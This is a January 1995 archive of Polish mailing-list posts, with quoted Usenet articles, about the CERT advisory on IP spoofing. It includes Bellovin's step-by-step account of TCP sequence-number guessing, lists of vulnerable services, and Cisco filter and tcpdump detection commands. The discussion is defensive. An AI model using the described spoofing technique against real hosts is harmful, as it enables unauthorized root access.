Opinia publiczna powinna byc zaalarmowana swoim nieistnieniem - St. J. Lec
From yppawlus@cyf-kr.edu.pl Thu Jan 26 15:05:10 1995
Received: from nms.cyf-kr.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA08858; Thu, 26 Jan 95 15:02:57 +0100
Return-Path: <yppawlus@cyf-kr.edu.pl>
Received: from mg.cyf-kr.edu.pl (mg.cyf-kr.edu.pl [149.156.2.8]) by nms.cyf-kr.edu.pl (8.6.9/8.6.9) with ESMTP id PAA27170 for <polip@zsku.p.lodz.pl>; Thu, 26 Jan 1995 15:05:30 +0100
From: Jerzy Pawlus <Jerzy.Pawlus@cyf-kr.edu.pl>
Received: (yppawlus@localhost) by mg.cyf-kr.edu.pl (8.6.9/8.6.9) id PAA03661; Thu, 26 Jan 1995 15:06:16 +0100
Date: Thu, 26 Jan 1995 15:06:16 +0100
Message-Id: <199501261406.PAA03661@mg.cyf-kr.edu.pl>
To: polip@zsku.p.lodz.pl
In-Reply-To: <3g83in$sr8@galaxy.uci.agh.edu.pl> (szymon@uci.agh.edu.pl)
Subject: Wiecej o IP spoofing z dzisiejszej grupy comp.security.misc


Wczesnie skomentuje fragment listu Szymona

> Innymi slowy: nie pomoze 'no ip source route' na routerze, i nie pomoze
> ZADEN TCP wrapper. Nie ma bowiem sposobu, zeby TCP wrapper na docelowej
> maszynie odroznil pakiet falszywy od prawdziwego. To musi robic router.
> Przyznaje sie bez bicia, ze jeszcze nie wiem, jak zmusic Cisco, zeby to robilo.
> Ale sie dowiem.

  Poczawszy od wersji 9.21 Cisco umozliwia utworzenie filtru na adres
  zrodlowy dla pakietu WCHODZACEGO do interfejsu. Nie rozwiazuje
  sprawy filtr dla pakietow wychodzacych z interfejsu. 

  Komenda tworzaca access-liste:

  access-list access-list-number {permit|deny} source

  Komenda uaktywniajaca access-liste dla interfejsu:

  ip access-group access-list-number in

Ponizej zalaczam list szerzej omawiajacy sprawe:
> 
> From: edwin@cs.ruu.nl (Edwin Kremer)
> Subject: Re: CERT announcement re: packet spoofing (New York Times story)
> Message-ID: <D2xIIp.JAH@cs.ruu.nl>
> Sender: usenet@cs.ruu.nl (Six O'Clock News)
> Organization: Utrecht University, Dept. of Computer Science
> References: <D2w0r6.1Kz@ulysses.homer.att.com> <3g2rt1$sje@news.sprintlink.net>
> Date: Tue, 24 Jan 1995 21:32:48 GMT
> Lines: 28
> 
> In <3g2rt1$sje@news.sprintlink.net> paul@sprintlink.net (Paul Ferguson) writes:
> 
>    | Steven Bellovin (smb@research.att.com) wrote:
>    | 
>    | > If your router has more than 2 interfaces and you want to permit
>    | > routing between the inside interfaces, output filtering doesn't work;
>    | > you've thrown away information.
>    | 
>    | I'm afraid I don't follow. If each interface belongs to different IP
>    | networks (nonsubnetted), outbound access-lists should work without any 
>    | problems.
> 
> That's what I thought at first glance too :=/  The problem with OUTbound
> filters is that once a packets is in the router and being decided upon on
> which interface to deliver, you don't know where it came from. Suppose you
> have a 3 interface router that connects two internal networks A and B to the
> Internet and the two internal nets have some sort of trust (or just accept
> packets from each other): once a packet with source src=A,dst=B is in the
> router, the OUTbound filter for B accepts it because it was told to accept
> packets from net A. However, at that point you don't remember if the packet
> was actually coming in from the A interface, or is a spoof from the third
> interface...
> 
> 						--[ Edwin ]--
> --
> Edwin H. Kremer, systems- and network administrator.   <edwin.kremer@cs.ruu.nl>
> Dept. of Computer Science,  Utrecht University, The Netherlands   [WHOIS: ehk3]
> ----------------------- http://www.cs.ruu.nl/~edwin ---------------------------
> 


Kolejny artykul wyjasnia pokrotce techniczny aspekt sprawy:

> From: smb@research.att.com (Steven Bellovin)
> Subject: CERT advisory -- details
> Message-ID: <D2w26n.2zr@ulysses.homer.att.com>
> Sender: netnews@ulysses.homer.att.com (Shankar Ishwar)
> Organization: AT&T Bell Laboratories
> Date: Tue, 24 Jan 1995 02:42:23 GMT
> Lines: 95
> 
> There's a great deal of confusion about what kind of attack the
> recent CERT advisory is referring to.  Let me try to clear things
> up.
> 
> The specific attack is a sequence number guessing attack, originally
> described by R.T. Morris in Bell Labs Computer Science Technical
> Report #117, February 25, 1985.  I generalized (and publicized)
> the attack in my 1989 paper ``Security Problems in the TCP/IP
> Protocol Suite'', Computer Communications Review 19:2, April 1989,
> pp. 32-48.  Both his attack and my generalizations are special
> cases of a more general attack, IP source address spoofing, in
> which the attacker illegitimately uses a trusted machine's IP
> address in conjunction with some protocol (such as rsh) that does
> address-based authentication.
> 
> In order to understand the particular case of sequence number
> guessing, you have to look at the 3-way handshake used in the TCP
> open sequence.  Suppose client machine A wants to talk to rsh server
> B.  It sends the following message:
> 
>         A->B: SYN, ISSa
> 
> That is, it sends a packet with the SYN (``synchronize sequence
> number'') bit set and an initial sequence number ISSb.
> 
> B replies with
> 
>         B->A: SYN, ISSb, ACK(ISSa)
> 
> In addition to sending its own initial sequence number, it acknowledges
> A's.  Note that the actual numeric value ISSa must appear in the
> message.
> 
> A concludes the handshake by sending
> 
>         A->B: ACK(ISSb)
> 
> The initial sequence numbers are intended to be more or less random.
> More precisely, RFC 793 specifies that the 32-bit counter be
> incremented by 1 in the low-order position about every 4 microseconds.
> Instead, Berkeley-derived kernels increment it by 128 every second,
> and 64 for each new connection.  Thus, if you open a connection to
> a machine, you know to a very high degree of confidence what sequence
> number it will use for its next connection.  And therein lies the
> attack.
> 
> X first opens a real connection to its target B -- say, to the mail
> port or the TCP echo port.  This gives ISSb.  It then impersonates
> A and sends
> 
>         A->B: SYN, ISSx
> 
> B's response to X's original SYN
> 
>         B->A: SYN, ISSb', ACK(ISSx)
> 
> goes to the legitimate A, about which more anon.  X never sees that
> message but can still send
> 
>         A->B: ACK(ISSb')
> 
> using the predicted value for ISSb'.  If the guess is right -- and
> usually it will be -- B's rsh server thinks it has a legitimate
> connection with A, when in fact X is sending the packets.  X can't
> see the output from this session, but it can execute commands as
> more or less any user -- and in that case, the game is over and X
> has won.
> 
> There is a minor difficulty here.  If A sees B's message, it will
> realize that B is acknowledging something it never sent, and will
> send a RST packet in response to tear down the connection.  There
> are a variety of ways to prevent this; the easiest is to wait until
> the real A is down (possibly as a result of enemy action, of course).
> 
> There are several possible defenses.  Most obvious is to take
> advantage of topological knowledge:  don't let packets purporting
> to be from a local machine arrive on an outside interface.  That
> works very well if you only trust local machines.  If trust is
> granted to outside machines (say, via .rhosts files) and if the
> attacker can identify the patterns of trust (which isn't that
> difficult), the topological solution won't work.  In that case,
> you have to block all protocols that use TCP and address-based
> authentication.  (UDP is a separate can of worms.)
> 
> Best of all, don't use address-based authentication; it's a disaster
> waiting to happen.  The only real solution is cryptographic
> authentication.
> 
>                 --Steve Bellovin
> 
> For further information, see the two papers cited above:
> 
> ftp://ftp.research.att.com/dist/internet_security/117.ps.Z
> ftp://ftp.research.att.com/dist/internet_security/ipext.ps.Z
> 
> 

Oraz kolejny, ktory mowi o tym ktore uslugi sa zagrozone:

> From: barmar@nic.near.net (Barry Margolin)
> Newsgroups: alt.security,comp.security.misc,comp.security.unix
> Subject: Re: CERT advisory -- details
> Date: 25 Jan 1995 19:24:45 -0500
> Organization: NEARnet, Cambridge, MA
> Lines: 54
> Message-ID: <3g6q4d$97b@tools.near.net>
> References: <D2w26n.2zr@ulysses.homer.att.com> <3g416n$ebf@tbone.biol.scarolina.edu>
> NNTP-Posting-Host: tools.near.net
> 
> In article <3g416n$ebf@tbone.biol.scarolina.edu> dean@tbone.biol.scarolina.edu (Dean Pentcheff) writes:
> >OK, but I'm in the middle.  I am responsible for the administration of
> >a small collection of Internet-connected machines (Suns and others).  I
> >have precisely no control over router policies here.  How should I
> >proceed?
> 
> You may not have "control", but surely as a client of theirs you have some
> influence.  Talk to the people who control the routers and request that
> they install appropriate filters there.
> 
> >- What remote access procedures actually use the targeted form
> >  of authentication?
> >	Telnet?
> >	FTP?
> >	rsh?
> >	others?
> 
> The protocols that normally make use of this are rsh (which encompasses rcp
> and rdist), rlogin, lpd, NNTP, X11 and NFS (when checking that the client
> is authorized in the /etc/exports file).  HTTP daemons can also be
> configured to do authorization by client address.  If you use tcp_wrappers,
> it's common to use source addresses in its allow/deny rules.  And firewalls
> based on packet filters are often configured to pass traffic from
> "friendly" hosts, so all machines that are presumably protected by such a
> firewall are potentially at risk on any protocol.
> 
> >- What are "risky" procedures?
> >	Any logins at all, even from the console?
> >	Logins from within the local net?
> >	Logins from remote sites?
> 
> Just about any network application may be risky.  If you assume that only
> people within your site can telnet to your machines, you're wrong.
> 
> >- Short of getting my institution to rework all its routers (yeah,
> >  right), what can I do, as a lone administrator, to minimize the risks
> >  from this "new" form of attack?
> 
> Don't use any applications that depend on "trusted" client hosts -- only
> use network protocols that demand a password or other secure authentication
> mechanism.  Of course, this is likely to be infeasible -- the list of
> protocols I gave above includes some that have become heavily entrenched in
> many environments, and some don't normally provide any good authentication
> mechanisms.
> 
> However, the institution doesn't need to rework *all* its routers, just the
> ones that connect it to the Internet.  Those routers need to screen out
> packets coming in from the Internet with source addresses on your
> institution's networks.
> -- 
> 
> Barry Margolin
> BBN Internet Services Corp.
> barmar@near.net
> 
> 


Moja opinia, ktora juz wczesnie wyrazilem jest taka, ze najprawdopodbniej
bezposredni atak z uwagi na techniczne problemy nam nie grozi.
Tym niemniej nalezy rozwazyc:

1. Zastosowanie filtrow na routerach
   (Ograniczy IP Spoofing do hostow lokalnych)

2. Zakaz stosowania plikow .rhosts i /etc/hosts.equiv
   Zmusi "r" komendy do stosowania autoryzacji w oparciu o haslo.
   

Jurek

   
From piotrwi Thu Jan 26 15:56:50 1995
Received:  by zsku.p.lodz.pl (5.65/25-eef)
	id AA10035; Thu, 26 Jan 95 15:55:42 +0100
Return-Path: <piotrwi>
Date: Thu, 26 Jan 1995 15:55:37 +0100 (MEZ)
From: Piotr Wilk <piotrwi@zsku.p.lodz.pl>
To: polip@zsku.p.lodz.pl
Subject: Re: kolejna seria wlaman; bezpieczenstwo sieci
Message-Id: <Pine.SCO.3.91.950126155438.9959B-100000@zsku.p.lodz.pl>
Organization: Samodzielny Zaklad Sieci Komputerowych Politechniki Lodzkiej
Address: 90-924 Lodz; ul. Stefanowskiego 18/22
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII


---------- Forwarded message ----------
>From news.polip@cyber.ict.pwr.wroc.pl Wed Jan 25 15:20:14 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA12359; Wed, 25 Jan 95 15:18:52 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id PAA29516 for polip@zsku.p.lodz.pl; Wed, 25 Jan 1995 15:17:18 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 25 Jan 1995 14:54:33 +0100
From: szymon@uci.agh.edu.pl (Szymon Sokol)
Message-Id: <3g5l6p$l49@galaxy.uci.agh.edu.pl>
Organization: University of Mining & Metallurgy
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <199501251242.MAA03582@hebe.umcs.lublin.pl>
Subject: Re: kolejna seria wlaman; bezpieczenstwo sieci

Krzysztof Mlynarski (krzysio@hebe.umcs.lublin.pl) wrote:
: Co wiecej... wiekszosc doniesien i paniki dotyczy systemow SUN, w
: ktorych wlamywacz moze instalowac ladowalne moduly do kernela i zdrowo
: nimi namieszac. Tak wiec dyskusja kreci sie wokol SUN/OS. Niestety nie
: ma prawie zadnych informacji o maszynach innych firm (poza routerami,
: ale to inna sprawa). Osobiscie bardzo jestem ciekaw, jak to wyglada na
: Silicon Graphics (SGI) - bo u nas sa glownie takie maszyny.
Nie jest dla mnie jasne, co ma IP spoofing do modulow ladowalnych. Wydaje mi
sie ze na te forme ataku wszelkie systemy powinny byc jednakowo [nie]wrazliwe.

Nie jestem takze pewien, czy dobrze rozumiem cala idee. Jezeli chodzi
o 'source routing' to wylaczenie go na routerze powinno byc trywialne
(na Cisco komenda 'no ip source route'). Jezeli zas o cos wiecej, to o co?
--
                       Szymon Sokol -- Network Manager
U    U M     M M     M University of Mining and Metallurgy, Computer Center
U    U MM   MM MM   MM ave. Mickiewicza 30, 30-059 Krakow, POLAND
U    U M M M M M M M M TEL. +48 12 338100 EXT. 2885  FAX +48 12 338907
 UUUU  M  M  M M  M  M WWW page: http://www.uci.agh.edu.pl/~szymon/
From news.polip@cyber.ict.pwr.wroc.pl Thu Jan 26 17:01:51 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA11437; Thu, 26 Jan 95 16:58:37 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id QAA20411 for polip@zsku.p.lodz.pl; Thu, 26 Jan 1995 16:47:19 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 26 Jan 1995 15:50:49 +0100
From: szymon@uci.agh.edu.pl (Szymon Sokol)
Message-Id: <3g8cs9$p6u@galaxy.uci.agh.edu.pl>
Organization: University of Mining & Metallurgy
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <9501251418.aa00755@wega.ics.tup.edu.pl>, <3g83in$sr8@galaxy.uci.agh.edu.pl>, <3g8797$ojd@Waldemar.mat.uni.torun.pl>
Subject: Re: Sun FlashBack 1171: CERT Advisory: IP Spoofing Attacks and Hijacked Terminals

Rafal Maszkowski (rzm@dain.oso.chalmers.se) wrote:
: Czyli source-routing tych pakietow nie jest potrzebny?
Nie jest. 

: A to?
: From: jgp@socrates.ceas.rochester.edu (Jim Prescott)
: Newsgroups: alt.security,comp.security.misc,comp.security.unix
: Subject: Re: CERT advisory -- details
: [...]
:         tcpdump -l ether src A:A:A:A:A:A and ! src host B.B.B.B and
:                                                                 src net C.C.C
: where A is the ethernet address of your router port, B is the IP address
: of your router and C is the network that your router routers to you.
: [...]

A to jest niezla idea, ale to jest tylko wykrywanie, a nie zapobieganie -
co mi z tego, ze zarejestruje wlamanie, jesli moze po 5 minutach juz nie bedzie
logu, a nawet calego filesystemu... :-(
--
                       Szymon Sokol -- Network Manager
U    U M     M M     M University of Mining and Metallurgy, Computer Center
U    U MM   MM MM   MM ave. Mickiewicza 30, 30-059 Krakow, POLAND
U    U M M M M M M M M TEL. +48 12 338100 EXT. 2885  FAX +48 12 338907
 UUUU  M  M  M M  M  M WWW page: http://www.uci.agh.edu.pl/~szymon/
From krzysio@hebe.umcs.lublin.pl Thu Jan 26 20:01:52 1995
Received: from hebe.umcs.lublin.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA14175; Thu, 26 Jan 95 19:58:37 +0100
Return-Path: <krzysio@hebe.umcs.lublin.pl>
Received: (from krzysio@localhost) by hebe.umcs.lublin.pl (8.6.9/8.6.9) id TAA09070 for polip@zsku.p.lodz.pl; Thu, 26 Jan 1995 19:04:57 GMT
From: Krzysztof Mlynarski <krzysio@hebe.umcs.lublin.pl>
Message-Id: <199501261904.TAA09070@hebe.umcs.lublin.pl>
Subject: Re: kolejna seria wlaman; bezpieczenstwo sieci
To: polip@zsku.p.lodz.pl
Date: Thu, 26 Jan 1995 20:04:57 +0100 (MET)
In-Reply-To: <3g6204$61t@ghost.mimuw.edu.pl> from "Andrzej K. Brandt" at Jan 25, 95 07:23:49 pm
X-Mailer: ELM [version 2.4 PL22]
Content-Type: text
Content-Length: 3062      

Andrzej K. Brandt wrote:
> 
> Krzysztof Mlynarski (krzysio@hebe.umcs.lublin.pl) wrote:
> 
> : > Nie przeciw temu atakowi. tcp_wrapper jest w tym wypadku bezradny.
> : > 
> 
> : Akurat nie jest to prawda. Polecam dyskusje na liscie firewalls.
> : Tam wlasnie TCP Wraper jest wskazywany, jako jedyny dzialajacy tool,
> : bedacy w stanie chocby czesciowo zabezpieczyc nas przed spoofingiem. Co
> : wiecej autorzy postingow wskazuja takze na potrzebe instalacji ident'a
> : (RFC 931).
> 
> Jedni pisza, ze jest bezradny. Expert pisze nam, ze jest jedyny dzialajacy.
> To jak to jest do diabla?
> 
Do diabla.. to jest wlasnie problem.. hehe.. sprawa nawet jest juz
troche smieszna. Dzis np. pisza na listach dyskusyjnych, ze jedynym
wyjsciem jest kodowanie przesylanych po sieci informacji, (na poziomie
IP) - chociaz juz czytalem jeden posting, ktorego autor twierdzi, ze to
nic nie da, bo cos tam... i tutaj dosc metnie argumentuje, ze ktos moze
stosowac key-guessing, i ze wszystko jest o kant potluc jeno sie
zastrzelic. W chwili obecnej widzimy jednynie zamet i prawde mowiac
najpowazniejsze zrodla informacji (takie, jak CERT) podaja coraz to inne
cudowne sposoby, po czym na drugi dzien okazuje sie, ze ktos udowadnia,
ze to nic nie daje. W zasadzie pozostaje jedno (to jest moja prywatna
opinia) - odczekac moment, az sie sytuacja uspokoi, a vendorzy wypuszcza
odpowiednie patch'e. Obecnie nawet nie mamy mozliwosci zasymulowania
takiego ataku (nie udalo mi sie zdobyc jeszcze dzialajacego
oprogramowania do takich rzeczy). Codziennie czytam wszystko co pisza
ludzie na ten temat i jak dotad widze kilka tendencji:

- panika i fizyczne odlaczenie od sieci komputerow,
- wiara w TCP Wrappers + Ident,
- wiara w blokowanie na poziomie routera (konkretnie pisza o CISCO),
- wiara w kryptografie (swIPe),
- twierdzenie, ze to wszystko to tylko panikowanie, i ze warte to jest
tyle, ile warte byly ostrzezenia o "wirusie rozpowszechnianym via
mail".

Jak dotad do nas sie nikt tak nie wlamal ... :)

Wydaje mi sie, ze kodowanie danych jest oczywiscie najlepsza metoda
(prawda Eminie? :)), tym bardzie, ze juz to testujemy jakis czas -
niestety jak dotad w dosc ograniczonej i prymitywnej implementacji
(jeszcze nie dziala poza swiatem KA9Q). Kilka dni temu Szymon Sokol
mowil mi, ze u nich tez pracuja nad czyms takim.... Poki co jednak wole
miec TCP Wrappers + Ident - bo to akurat jest dostepne "na rynku". :)

					Pozdrawiam,
					   -Krzysio

--
  +---------------------------------------------------------------+
  | E-mail:                        =Unix/Network Security Expert= |
  | krzysio@hebe.umcs.lublin.pl    IRC:  Krzysio    Radio: SQ5ASM |
  | root@hebe.umcs.lublin.pl       Voice phone:   +48-81-37-56-76 |
  | 3W home page: http://hebe.umcs.lublin.pl/Krzysio/Krzysio.html |
  |                                                               |
  |     "You can't kill ... what was killed before ..."           |
  |                                     - unknown vampire         |
  +---------------------------------------------------------------+

From krzysio@hebe.umcs.lublin.pl Thu Jan 26 20:05:23 1995
Received: from hebe.umcs.lublin.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA14337; Thu, 26 Jan 95 20:04:28 +0100
Return-Path: <krzysio@hebe.umcs.lublin.pl>
Received: (from krzysio@localhost) by hebe.umcs.lublin.pl (8.6.9/8.6.9) id TAA09162 for polip@zsku.p.lodz.pl; Thu, 26 Jan 1995 19:10:58 GMT
From: Krzysztof Mlynarski <krzysio@hebe.umcs.lublin.pl>
Message-Id: <199501261910.TAA09162@hebe.umcs.lublin.pl>
Subject: Re: kolejna seria wlaman; bezpieczenstwo sieci
To: polip@zsku.p.lodz.pl
Date: Thu, 26 Jan 1995 20:10:57 +0100 (MET)
In-Reply-To: <3g62n3$61t@ghost.mimuw.edu.pl> from "Andrzej K. Brandt" at Jan 25, 95 07:40:28 pm
X-Mailer: ELM [version 2.4 PL22]
Content-Type: text
Content-Length: 2084      

Andrzej K. Brandt wrote:
> 
> Krzysztof Mlynarski (krzysio@hebe.umcs.lublin.pl) wrote:
> 
> : Co wiecej... wiekszosc doniesien i paniki dotyczy systemow SUN, w
> : ktorych wlamywacz moze instalowac ladowalne moduly do kernela i zdrowo
> : nimi namieszac. Tak wiec dyskusja kreci sie wokol SUN/OS. Niestety nie
> : ma prawie zadnych informacji o maszynach innych firm (poza routerami,
> : ale to inna sprawa). Osobiscie bardzo jestem ciekaw, jak to wyglada na
> : Silicon Graphics (SGI) - bo u nas sa glownie takie maszyny.
> 
> Mi sie wydaje, ze panika wokol Sunow wynika jednak bardziej z ich
> popularnosci, niz jakiejs specjalnym braku zabezpiczen. Faktycznie, sendmail
> ichni byl i jest dziurawy jak ser, faktycznie, nfs bywal powodem roznych
> brzydkich rzeczy. Jesli jednak idzie o spoofing, to wydaje mi sie (jako ze
> jestem lamer, a nie expert), ze jakiej odmiany unixa uzywamy nie ma
> wielkiego znaczenia...
> 
Wydaje mi sie Eminie, ze jednak nie doczytales do konca o czym tam
pisalem. Admini SUN'ow boja sie glownie ladowania przez "Spoofingowcow"
:) - ze ich tak nazwe - jakichs zhackowanych modulow do kernela. Zauwaz,
ze nie wszystkie Unix'y pozwalaja na tego typu operacje, tak wiec nie na
kazdej maszynie mozna tyle namieszac.

Jesli zas chodzi o informacje i aktualne metody obrony przed
spoofingiem, to w koncu miesiaca postaram sie rozeslac cos konkretnego
na ten temat. Obecnie zbieram wszystko co sie da....

					Pozdrawiam,
					   -Krzysio

--
  +---------------------------------------------------------------+
  | E-mail:                        =Unix/Network Security Expert= |
  | krzysio@hebe.umcs.lublin.pl    IRC:  Krzysio    Radio: SQ5ASM |
  | root@hebe.umcs.lublin.pl       Voice phone:   +48-81-37-56-76 |
  | 3W home page: http://hebe.umcs.lublin.pl/Krzysio/Krzysio.html |
  |                                                               |
  |     "You can't kill ... what was killed before ..."           |
  |                                     - unknown vampire         |
  +---------------------------------------------------------------+

From news.polip@cyber.ict.pwr.wroc.pl Thu Jan 26 21:20:09 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA16096; Thu, 26 Jan 95 21:18:35 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id VAA28234 for polip@zsku.p.lodz.pl; Thu, 26 Jan 1995 21:12:02 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 26 Jan 1995 20:03:39 GMT
From: lis@asic.ict.pwr.wroc.pl (Jarek Lis)
Message-Id: <3g8v6r$2s2@sun1000.ci.pwr.wroc.pl>
Organization: Technical Univeristy of Wroclaw
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <199501261904.TAA09070@hebe.umcs.lublin.pl>
Subject: Re: kolejna seria wlaman; bezpieczenstwo sieci



Czy ktos moglby mnie oswiecic jak sie taki 'IP-spoofing' atak przeprowadza?

Rozumiem, ze sie wysyla pakiet podajac falszywy adres nadawcy. Ten pakiet
do adresata zwykle dociera (no coz, jakby tu powiedziec, Internet na tym
sie opiera), tylko nie rozumiem co dalej.

Daje nam to lacznosc w jedna strone, i jakos nie potrafie sobie wyobrazic
wykorzystania tego.

Jarek.
From news.polip@cyber.ict.pwr.wroc.pl Thu Jan 26 21:41:53 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA16796; Thu, 26 Jan 95 21:38:34 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id VAA28576 for polip@zsku.p.lodz.pl; Thu, 26 Jan 1995 21:30:31 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 26 Jan 1995 20:19:54 GMT
From: rzm@dain.oso.chalmers.se (Rafal Maszkowski)
Message-Id: <3g905a$71j@Waldemar.mat.uni.torun.pl>
Organization: OSO
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <199501261904.TAA09070@hebe.umcs.lublin.pl>
Subject: Re: kolejna seria wlaman; bezpieczenstwo sieci

Krzysztof Mlynarski (krzysio@hebe.umcs.lublin.pl) wrote:
> Andrzej K. Brandt wrote:
> > Jedni pisza, ze jest bezradny. Expert pisze nam, ze jest jedyny dzialajacy.
> > To jak to jest do diabla?
> Do diabla.. to jest wlasnie problem.. hehe.. sprawa nawet jest juz
> troche smieszna. Dzis np. pisza na listach dyskusyjnych, ze jedynym
> wyjsciem jest kodowanie przesylanych po sieci informacji, (na poziomie

Na dluzsza mete jest to nieuniknione. Moze ktos wreszcie wezmie 4.4BSD
i EBones i cos z tego skleci?

> - wiara w TCP Wrappers + Ident,

Nie wiem czy moze pomoc na atak przez source routing. tcpd nie pomoze
na pewno przy ataku przez zgadywanie numerow, ale razem z identem moze.
Tylko, ze trzeba miec wtedy identa na wszystkich maszynach, z ktorych
sie logujemy. (zreszta dobrze go miec i tak)

> - wiara w blokowanie na poziomie routera (konkretnie pisza o CISCO),

Tylko najnowszy.

> Jak dotad do nas sie nikt tak nie wlamal ... :)

A skad wiesz?

Wstepne patches dla NetBSD juz sa. Mam nadzieje, ze Linux nie pozostanie
daleko w tyle.

Najlepsze zrodlo informacji jakie dopadlem to 
http://www.eecs.nwu.edu/~jmyers/bugtraq

R.
-- 
Rafal Maszkowski rzm@oso.chalmers.se      http://www.mat.uni.torun.pl/~rzm
Opinia publiczna powinna byc zaalarmowana swoim nieistnieniem - St. J. Lec
From news.polip@cyber.ict.pwr.wroc.pl Thu Jan 26 22:01:53 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA17502; Thu, 26 Jan 95 21:58:32 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id VAA28944 for polip@zsku.p.lodz.pl; Thu, 26 Jan 1995 21:46:36 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 26 Jan 1995 20:46:26 GMT
From: spi-zs@srv1 (Zbigniew Sender)
Message-Id: <3g91n2$s2d@cyber.ict.pwr.wroc.pl>
Organization: Technical University of Wroclaw, Poland
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <3g83in$sr8@galaxy.uci.agh.edu.pl>
Subject: Re: Sun FlashBack 1171: CERT Advisory: IP Spoofing Attacks and Hijacked Terminals

Szymon Sokol (szymon@uci.agh.edu.pl) wrote:
: Tomasz Kokowski (kokowski@CS.PUT.Poznan.PL) wrote:

: :   Przesylam kopie magazynu FlashBack (Sun) traktujacego o ostatniej serii
: : wlaman. *To nie bylo po source routing*.

: No, teraz sie troche wyjasnia - rzeczywiscie, sprawa jest nieco powazniejsza 
: niz pierwotnie myslalem:

: : > To gain access, intruders create packets with spoofed source IP
: : > addresses. This exploits applications that use authentication based on
: : > IP addresses and leads to unauthorized user and possibly root access on
: : > the targeted system. It is possible to route packets through
: : > filtering-router firewalls if they are not configured to filter
: : > incoming packets whose source address is in the local domain. It is
: : > important to note that the described attack is possible even if no
: : > reply packets can reach the attacker.
: Innymi slowy: nie pomoze 'no ip source route' na routerze, i nie pomoze
: ZADEN TCP wrapper. Nie ma bowiem sposobu, zeby TCP wrapper na docelowej
: maszynie odroznil pakiet falszywy od prawdziwego. To musi robic router.
: Przyznaje sie bez bicia, ze jeszcze nie wiem, jak zmusic Cisco, zeby to robilo.
: Ale sie dowiem.
: Oczywiscie, jesli zrodlo falszywego pakietu jest na lokalnej sieci, to router
: nic nie pomoze, ale jak masz na lokalnej sieci hosty, ktorym nie mozesz ufac,
: to i tak i tak kanal (ze wzgledu na mozliwosc nasluchu hasel).

: : >            ftp.research.att.com:/dist/internet_security
: : > 
: : >            Bellovin paper: ipext.ps.Z
: : >            Morris paper:   117.ps.Z
: Znalazlem, przeczytalem. 

: : > Services that are vulnerable to the IP spoofing attack include 
: : > 
: : >  o SunRPC & NFS 
: : > 
: : >  o BSD UNIX "r" commands 
: : > 
: : >  o anything wrapped by the tcp daemon wrappers - site dependent; check
: : >    your configuration
: : > 
: : >  o X windows 
: : > 
: : >  o other applications that use source IP addresses for authentication 
: No i to jest rzeczywiscie problem. Moge nie uzywac .rhosts, ale nie uzywac
: NFS i X Windows to jest niemozliwosc.

: : > In taking over the existing connections, intruders can bypass one-time
: : > passwords and other strong authentication schemes by tapping the
: : > connection after the authentication is complete. For example, a
: : > legitimate user connects to a remote site through a login or terminal
: : > session; the intruder hijacks the connection after the user has
: : > completed the authentication to the remote location; the remote site is
: : > now compromised. (See Section I for examples of vulnerable
: : > configurations.)
: To tez jest powazna sprawa - to z kolei uderza w uzytkownikow uzywajacych
: np. telneta z roznych dziwnych miejsc (np. konferencji itp.), gdzie nie ma
: gwarancji, ze host nie jest juz "nadgryziony".

: : > If you monitor packets using network-monitoring software such as
: : > netlog, look for a packet on your external interface that has both its
: : > source and destination IP addresses in your local domain. If you find
: : > one, you are currently under attack. Netlog is available by anonymous
: Swietny pomysl, tylko na ogol do swojego ZEWNETRZNEGO interfejsu (lacza
: do NASK) uzytkownik (abonent NASK) nie ma dostepu. Stawiac 2 routery jeden
: za drugim? Absurd.

: : > Another way to detect IP spoofing is to compare the process accounting
: : > logs between systems on your internal network. If the IP spoofing
: : > attack has succeeded on one of your systems, you may get a log entry on
: : > the victim machine showing a remote access; on the apparent source
: : > machine, there will be no corresponding entry for initiating that
: : > remote access.
: Zwlaszcza jak sie ma 100+ maszyn, i nie pod jednolita administracja,
: przeszukiwanie logow jest fascynujace. I jeszcze 1000+ PC, gdzie logow w 
: ogole nie ma.

: --
:                        Szymon Sokol -- Network Manager
